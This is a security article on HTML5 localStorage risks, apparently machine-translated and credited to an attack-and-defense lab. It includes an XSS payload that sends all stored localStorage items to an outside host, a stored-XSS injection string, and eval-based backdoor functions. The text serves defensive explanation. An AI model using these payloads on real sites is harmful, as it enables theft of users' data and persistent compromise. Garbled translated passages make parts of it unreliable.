Security of HTML5 Local Storage

From tianrongxin Attack and Defense lab

Before the emergence of HTML5 local storage, there were already many WEB data storage methods, such as HTTP Cookie, IE userData, Flash Cookie, and Google Gears. As a matter of fact, browsing WEB history is also a method of local storage. Currently, HTML5 local storage has been widely supported. The supported browsers include: IE 8 +, FF 3.5 +, Safari 4 +, Chrome 4 +, and Opera 10.5 +. The mobile platforms include iPhone 2 + and Android 2 +. The latest HTML5 local storage specification documentation can be viewed online
Http://dev.w3.org/html5/webstorage/

The predecessor of HTML5 local storage is Cookie. HTML5 Local Storage Uses localStorage objects to persistently store WEB data locally. In comparison, the storage size of each domain in HTML5 local storage is 5 MB by default, which is much larger than 4 K of Cookie. The code for storing and reading data is extremely concise:

Storage Data Window. localStorage. setItem (key, value)
Read data Window. localStorage. getItem (key)
Delete the data item Window. localStorage. removeItem (key)
Delete all data Window. localStorage. clear ()

Now, can we simply think that HTML5 storage can replace Cookie storage. The new storage method brings new security risks in practical applications. We will discuss these questions below.

(1) Can I replace cookies?

The browser has been using cookies for identity authentication for many years. Since the localStorage storage space is so large, can I port the authentication data directly. Currently, it is not mature to store authentication data using localStorage. We know that the XSS vulnerability can be used to obtain the Cookie and then use the Cookie for authentication and login. Later, in order to prevent XSS from obtaining Cookie data, the browser supports HTTPONLY to protect the Cookie from being obtained by XSS attacks. LocalStorage does not defend against XSS attacks. Once an XSS vulnerability occurs, the data stored in localStorage can be easily obtained.
If a website has an XSS vulnerability, attackers can inject the following code to obtain all information stored locally using localStorage.

<Script>
Var I = 0;
Var str = "";
While (localStorage. key (I )! = Null)
{
Var key = localStorage. key (I );
Str + = key + ":" + localStorage. getItem (key );
I ++;
}
Document. location = "http: // www.2cto.com? Stolen = "+ str;
</Script>
Attackers can also simply use localStorage. removeItem (key) and localStorage. clear () to clear the stored data.

(2) do not store sensitive information

From (1), we know that from the perspective of remote attacks, the data stored in localStorage is easily obtained by XSS attacks. Therefore, it is not appropriate to store authentication information or sensitive information with localStorage. From the perspective of local attacks, it is not suitable for storing sensitive information from the perspective of localStorage's storage methods and storage timeliness.

The five browsers now support localStorage storage. Among them, Chrome, Opera, and Safari all have functional modules for viewing local storage. However, different browsers have different storage methods for localStorage. The following are the storage methods of the five browsers localStorage:

Browser	Storage Format	Encryption Method	Storage path
Firefox	SQLite	Plaintext	C: \ Users \ user \ AppData \ Roaming \ Mozilla \ Firefox \ Profiles \ tyraqe3f. default \ webtailstore. sqlite
Chrome	SQLite	Plaintext	C: \ Users \ user \ AppData \ Local \ Google \ Chrome \ User Data \ Default \ Local Storage \
IE	XML	Plaintext	C: \ Users \ user \ AppData \ Local \ Microsoft \ Internet Explorer \ DOMStore \
Safari	SQLite	Plaintext	C: \ Users \ user \ AppData \ Local \ Apple Computer \ Safari \ LocalStorage
Opera	XML	BASE64	C: \ Users \ user \ AppData \ Roaming \ Opera \ pstorage \

 

The above description shows that in addition to BASE64 encryption in the Opera Browser (BASE64 can also be easily decrypted), other browsers use Plaintext to store data.

On the other hand, in terms of the validity period of data storage, localStorage does not set the time limit for data survival as the Cookie does. As long as the user does not actively delete the data, the data stored in localStorage will permanently exist.

We recommend that you do not use localStorage to store sensitive information based on the above analysis of storage methods and storage duration, for fear that the information is encrypted.

(3) strictly filter input and output

For local storage, data is often stored locally to facilitate the re-loading of data. When loading the data, the data is directly read from the local device and displayed on the webpage. In some cases, if the data is not strictly filtered by the input and output when writing or reading data in the localStorage storage, it is very easy to parse the data as HTML code, thus, XSS attacks are generated.

The localStorage XSS vulnerability has occurred on Twitter. When the following storage code is executed on the personal homepage of Twitter, the/xss/box is displayed every time the personal homepage is opened.
LocalStorage. setItem (": USER:", '{"name": {"value": {"store": {"recentFollowers": {"value ": "name <script> alert (/xss/) </script> "}}}}}');
From this code, we can see that Twitter uses the localStorage method to store some personal data locally. Each time a personal homepage is loaded, data is retrieved from the local storage, then, because Twitter ignores the strict filtering of data to be removed, the stored code will be executed as HMTL encoding, resulting in Cross-Site attacks.
Twitter localStorage XSS vulnerability details can be viewed: http://www.wooyun.org/bugs/ wooyun-2010-03075. Although the Twitter vulnerability is very difficult to exploit, it once again tells us to strictly filter data based on the principle that all input and output are harmful.

(4) vulnerable to cross-directory attacks

The localStroage storage method does not specify the path in the domain like the Cookie storage method. The localStroage storage method does not have the concept of the domain path. That is to say, if any path in a domain has the XSS vulnerability, the data stored in the entire domain can be obtained even if the storage name is known.

Assume that the following two links use localStorage to store data:
Http://h.example.com/xisigr

Http://h.example.com/xhack


Although the blog links of xisigr and xhack belong to the same domain, they have different paths, one path is xisigr, And the other path is xhack. Assuming that the xisigr user finds that the stored XSS vulnerability exists in his path, he can add the data retrieval code to his blog. The core code is localStorage. getItem ("name "). The xhack user does not need to log on to the blog. He only needs to access http://h.example.com/xisigr, and the stored data will be retrieved.

(5) vulnerable to DNS Spoofing Attacks

Google used Google Gears for local storage before using HTML5 local storage. At that time, Google Gears was attacked by DNS spoofing. Google Gears supports offline storage. website data such as Gmail and WordPresss can be stored as SQLite databases. In the future, users can read or delete the stored website data offline. If attackers initiate DNS spoofing attacks, they can inject data into the local database or leave a permanent backdoor. This will cause lasting harm to users. The DNS spoofing attack method suffered by Google Gears is equally effective in HTML5 local storage.

(6) hotbed of malicious code

In the sixth point, the title "a hotbed of malicious code inspector" is somewhat exaggerated. In fact, what I want to talk about here is that HTML5 local storage will be called the future storage trend in both space and time. It is expected that "malicious code" will naturally become a breeding ground for the great Yannan Fei transfer.
So what is the space and time for HTML5 local storage? The space here refers to the storage space. Compared to the small 4 K space of cookies, the localStroage method of html5. by default, the browser can store 5 MB space, the Safari browser supports up to MB, making HTML5 storage more domineering. In terms of time, with the increasing maturity of HTML5 technology, in addition to the major browser vendors competing to support HTML5 in their own products, some large application software vendors also trust it well. For example, in 2011.11, Adobe announced that it had abandoned the FLASH on the mobile phone, and HTML5 was fully replaced. Over time, HTML5 is moving faster and faster, and more applications will be used for HTML5 local storage.
The above theoretical analysis shows the possibility of "a hotbed of malicious code. The practical technical feasibility is also very simple. The following is the core code for retaining a backdoor locally:

Save shellcode	Function setShellCodz (codz ){ Window. localStorage. setItem ("shellcodz", codz );}
Execute shellcode	Function getShellCodz (){ Eval (window. localStorage. getItem ("shellcodz "));}
Delete shellcode	Function delShellCodz (){ Window. localStorage. removeItem ("shellcodz ");}